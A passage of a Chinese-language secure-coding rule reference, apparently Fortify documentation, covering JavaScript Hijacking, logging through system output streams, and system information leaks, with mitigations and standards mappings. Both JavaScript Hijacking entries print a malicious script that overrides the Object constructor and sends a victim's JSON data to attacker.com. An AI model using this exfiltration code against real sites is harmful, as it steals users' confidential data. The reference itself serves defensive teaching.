[19] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II

JavaScript Hijacking

ABSTRACT

使用 JavaScript 符号来传送敏感数据的应用程序可能会存在 JavaScript hijacking 的漏洞，该漏洞允许未经授权的攻击者从一个易受攻击的应用程序中读取机密数据。

EXPLANATION

如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行 JavaScript，从其他网站加载的敏感信息，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1

...

Host: www.example.com

Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）

服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/JavaScript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" },

 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

  "purchases":120000.00, "email":"katrina@example.com" },

 {"fname":"Jacob", "lname":"West", "phone":"6502135600",

  "purchases":45000.00, "email":"jacob@example.com" }]

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

<script>

// override the constructor used to create all objects so

// that whenever the "email" field is set, the method

// captureObject() will run. Since "email" is the final field,

// this will allow us to steal the whole object.

function Object() {

 this.email setter = captureObject;

}

// Send the captured object back to the attacker's web site

function captureObject(x) {

  var objString = "";

  for (fld in this) {

    objString += fld + ": " + this[fld] + ", ";

  }

  objString += "email: " + x;

  var req = new XMLHttpRequest();

  req.open("GET", "http://attacker.com?obj=" +

           escape(objString),true);

  req.send(null);

}

</script>

<!-- Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 – 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 – 攻击者未获得用户凭证的访问权限 – 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

RECOMMENDATIONS

所有使用 JavaScript 进行交流的程序需要采取以下防范措施：1) 拒绝恶意请求：— 在每个返回给 JavaScript 的请求中使用一些令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应：包括某些响应中的字符，这些响应只有经过了修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用<script> 标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。

拒绝恶意请求

从服务器的角度来看，JavaScript 劫持攻击类似于跨站点伪装请求，因此，防止跨站点伪装请求也就可以防止 JavaScript 劫持攻击。为了便于探测各种恶意请求，每个请求均应包含攻击者难以猜测的参数。一种方法是将会话 cookie 作为参数添加到请求中。服务器接收到这样一个请求时，它可以检查并确定会话 cookie 是否与请求中的参数值匹配。恶意代码无法取得会话 cookie（cookie 也需要遵循同源策略 (Same Origin Policy)），因此，攻击者即使制造了请求，也很难再通过检验了。也可以使用其他机密信息代替会话 cookie；只要这个机密信息难以猜测，可以在合法应用程序能够访问的上下文中使用，同时又无法通过其他的域进行访问，就可以防止攻击者制造有效的请求。

有一些框架仅能运行在客户端上。换言之，它们完全由 JavaScript 编写而成，对服务器的工作情况一无所知。这意味着它们并不知道会话 cookie 的名称。即使并不清楚会话 cookie 的名称，它们也能参与基于 cookie 的防范，途径就是将所有的 cookie 附加到发送给服务器的各个请求中。

示例 2：以下 JavaScript 片段描述了这种“盲客户端”策略：

var httpRequest = new XMLHttpRequest();

...

var cookies="cookies="+escape(document.cookie);

http_request.open('POST', url, true);

httpRequest.send(cookies);

服务器也可以检查 HTTP referer 头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer 头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是 <script> 标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。

防止直接执行响应

为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用 <script>标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过 <script> 标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。

例 3：该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种，服务器可以把以下指令作为消息的前缀：

while(1);

除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,9) == "while(1);") {

      txt = txt.substring(10);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往 eval() 函数前删除。以下 JSON 对象已加入了一块注释：

/*

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" }

]

*/

客户端可以搜索并删除如下注释字符：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,2) == "/*") {

      txt = txt.substring(2, txt.length - 2);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

任何通过<script> 标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。

自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。

REFERENCES

[1] B. Chess, Y. O’Neil, and J. West JavaScript Hijacking

[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167

[3] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)

[5] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management, 5.3.6 Output Encoding and Injection Prevention Requirements, 14.5.2 Validate HTTP Request Header Requirements, 14.5.3 Validate HTTP Request Header Requirements

[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage

[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II

[8] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II

[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II

[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II

[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II

[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II

[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II

[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II

[17] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[18] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

JavaScript Hijacking: Vulnerable Framework

ABSTRACT

EXPLANATION

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1

...

Host: www.example.com

Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）

服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/JavaScript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" },

 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

  "purchases":120000.00, "email":"katrina@example.com" },

 {"fname":"Jacob", "lname":"West", "phone":"6502135600",

  "purchases":45000.00, "email":"jacob@example.com" }]

<script>

// override the constructor used to create all objects so

// that whenever the "email" field is set, the method

// captureObject() will run. Since "email" is the final field,

// this will allow us to steal the whole object.

function Object() {

 this.email setter = captureObject;

}

// Send the captured object back to the attacker's web site

function captureObject(x) {

  var objString = "";

  for (fld in this) {

    objString += fld + ": " + this[fld] + ", ";

  }

  objString += "email: " + x;

  var req = new XMLHttpRequest();

  req.open("GET", "http://attacker.com?obj=" +

           escape(objString),true);

  req.send(null);

}

</script>

<!-- Use a script tag to bring in victim's data -->

<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

RECOMMENDATIONS

所有使用 JavaScript 进行通信的程序都应采取以下防范措施：1) 拒绝恶意请求：在每个返回给 JavaScript 的请求中都加入令人难以猜测的标识符，如会话标识符。允许服务器验证请求的来源可以防范跨站点请求的伪装攻击。2) 避免直接执行 JavaScript 响应：在响应中加入一些字符，使其只有经过修改，才能成功地转到 JavaScript 解释器进行处理。这样可以防止攻击者使用 <script>标签看清 JavaScript 的执行过程。防范 JavaScript 劫持的最佳方法是同时采取上述两种防范策略。

拒绝恶意请求

示例 2：以下 JavaScript 片段描述了这种“盲客户端”策略：

var httpRequest = new XMLHttpRequest();

…

var cookies=”cookies=”+escape(document.cookie);

http_request.open(‘POST’, url, true);

httpRequest.send(cookies);

服务器也可以检查 HTTPreferer头信息，以确保请求来自于合法的应用程序，而不是恶意的应用程序。从历史上看，referer头信息一直都未受到过信任，因此，我们并不建议您将它作为安全机制的基础。您可以为服务器装入一种针对 JavaScript hijacking 的防范方法，即让服务器只对 HTTP POST 请求做出响应，而不回应任何 HTTP GET 请求。这是一项防御技术，原因是<script>标签通常使用 GET 方法从外部资源文件中加载 JavaScript。然而，这种防范措施并非尽善尽美。Web 应用程序的专家一致鼓励采用 GET 方法提高性能。如果在 HTTP 方法的选择上缺乏安全方面的考虑，这意味着未来的某一时刻，程序员可能会误认为这种功能上的不足是疏忽所致，而没有将它作为一种安全预警加以认识，进而修改了应用程序以响应 GET 请求。

防止直接执行响应

为了使恶意站点无法执行包含 JavaScript 的响应，合法的客户端应用程序可以利用允许执行前对接收的数据进行修改这一权限，而恶意的应用程序则只能使用<script>标签执行响应。当服务器序列化某个对象时，该对象应包括一个前缀（也可以是后缀），从而使它无法通过<script>标签执行 JavaScript。合法的客户端应用程序可以在运行 JavaScript 前删除这些无关的数据。

示例 3：该方法可以通过多种方式来实现。以下例子演示了两种方式。第一种，服务器可以把以下指令作为消息的前缀：

while(1);

除非客户端删除此前缀，否则对此消息求值会将 JavaScript 解释器置于一个无限循环中。客户端会搜索并删除如下前缀：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,9) == "while(1);") {

      txt = txt.substring(10);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

第二种，服务器可以在 JavaScript 附近加注注释字符，这些注释字符必须在 JavaScript 被送往eval()函数前删除。以下 JSON 对象已加入了一块注释：

/*

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

  "purchases":60000.00, "email":"brian@example.com" }

]

*/

客户端可以搜索并删除如下注释字符：

var object;

var req = new XMLHttpRequest();

req.open("GET", "/object.json",true);

req.onreadystatechange = function () {

  if (req.readyState == 4) {

    var txt = req.responseText;

    if (txt.substr(0,2) == "/*") {

      txt = txt.substring(2, txt.length - 2);

    }

    object = eval("(" + txt + ")");

    req = null;

  }

};

req.send(null);

任何通过<script>标签来提取敏感 JavaScript 的恶意站点都将无法获取其中所包含的数据。

自第 5 版 EcmaScript 起，已不可能攻击 JavaScript 数组构造函数。

REFERENCES

[1] B. Chess, Y. O’Neil, and J. West JavaScript Hijacking

[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167

[3] Standards Mapping - General Data Protection Regulation Access Violation

[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)

[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage

[6] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II

[7] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II

[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II

[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II

[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II

[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II

[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II

[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II

[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II

[16] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[17] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Poor Logging Practice: Use of a System Output Stream

ABSTRACT

使用 process.stdout 或 process.stderr 而不是专门的日志记录工具，会导致难以监控程序的运行状况。

EXPLANATION

示例 1：早期的 Node.js 开发人员可能会为了从 stdin 读取程序然后再将其写回 stdout 而编写的简单程序如下所示：

process.stdin.on('readable', function(){

    var s = process.stdin.read();

    if (s != null){

      process.stdout.write(s);

    }

});

虽然大多数程序员继续学习，尤其是关于 JavaScript 和 Node.js 的细微之处，但很多程序员仍依赖于这一基础知识，始终使用 process.stdout.write() 编写标准输出的消息。

这里的问题是，直接在标准输出流或标准错误流中写入信息通常会作为一种非结构化日志记录形式使用。结构化日志记录系统提供了各种要素，如日志级别、统一的格式、日志标示符、次数统计，而且，可能最重要的是，将日志信息指向正确位置的功能。当系统输出流的使用与正确使用日志记录功能的代码混合在一起时，得出的结果往往是一个保存良好但缺少重要信息的日志。

开发者普遍认为需要使用结构化日志记录，但是很多人在“产前”的软件开发中仍使用系统输出流功能。如果您正在检查的代码是在开发阶段的初期生成的，那么对 process.stdout 或 process.stderr 的使用可能会在转向结构化日志记录系统的过程中导致漏洞。

RECOMMENDATIONS

使用 Node.js 日志记录工具，而不使用 process.stdout 或 process.stderr。

示例 2：例如，应用程序可以按照以下方式重写：

process.stdin.on('readable', function(){

  var s = process.stdin.read();

  if (s !== null && s !== undefined){

    console.log(s);

  }

});

这并不理想，因为它仍然只是基础信息，并不包含时间戳、进程 ID 或任何其他信息，而且会将用户控制的数据插入日志。使用诸如 “Winston” 或 “Bunyan” 之类的第三方库来进行日志记录是最佳方式，但如果您的特定情况只需要时间戳，则以下方法可能适用：

log = function(msg){

  if (msg !== null && msg !== undefined){

    console.log('[' + new Date() + '] ' + msg);

  }

}

process.stdin.on('readable', function(){

  var s = process.stdin.read();

  if (s !== null && s !== undefined){

    log("User input read");

  } else {

    log("Waiting for user input");

  }

});

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 398

[2] Standards Mapping - FIPS200 AU

[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)

[4] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling

[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling

[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7

[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6

[8] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention

[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II

[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II

System Information Leak

ABSTRACT

显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。

EXPLANATION

当系统数据或调试信息通过输出流或者日志功能流出程序时，就会发生信息泄漏。

示例 1：以下代码会将一个异常写入 AngularJS 中的浏览器控制台：

$log.log(exception);

根据异常的来源，这可能会向导致客户端出错的用户发送信息，或者可能向与服务器端信息相关的远程用户发送信息。

在某些情况下，该错误消息恰好可以告诉攻击者入侵这一系统的可能性究竟有多大。例如，一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。

RECOMMENDATIONS

编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。

即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。因此，切勿将信息直接发送到程序外部的资源。

示例 2：以下代码会在从 AJAX 请求收到一个错误后写入一条通用消息。

var errorCallback = function(response){

    if (response.status == 400){

        $log.log('Service not found');

    }else{

        $log.log('Something went wrong attempting to reach the server');

    }

};

$http.get('/someUrl', config).then(successCallback, errorCallback);

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 497

[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.4 Output Encoding and Injection Prevention Requirements, 5.3.5 Output Encoding and Injection Prevention Requirements, 8.3.2 Sensitive Private Data, 8.3.4 Sensitive Private Data, 8.3.4 Sensitive Private Data, 14.3.1 Unintended Security Disclosure Requirements, 14.3.2 Unintended Security Disclosure Requirements, 14.3.3 Unintended Security Disclosure Requirements, 14.2.2 Dependency

[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage

[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling

[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6

[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5

[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5

[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5

[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5

[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5

[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention

[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II

[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II

[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II

[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II

[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II

[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II

[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II

[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[24] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II

[33] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage

[34] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

System Information Leak: External

ABSTRACT

显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。

EXPLANATION

当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时，就会发生外部信息泄露。外部信息泄露会暴露有关操作系统、完整路径名、现有用户名或配置文件位置的特定数据，从而使攻击者有机可乘，它比内部信息（攻击者更难访问）泄露更严重。

示例 1：以下代码会在网页内文本区域中泄露异常信息：

...

dirReader.readEntries(function(results){

  ...

}, function(error){

  $("#myTextArea").val('There was a problem: ' + error);

});

...

该信息可能会显示给远程用户。在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。

RECOMMENDATIONS

REFERENCES

[1] Standards Mapping - Common Weakness Enumeration CWE ID 215, CWE ID 489, CWE ID 497

[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200

[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420

[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data

[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)

[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data, 14.3.2 Unintended Security Disclosure Requirements, 14.3.3 Unintended Security Disclosure Requirements, 14.2.2 Dependency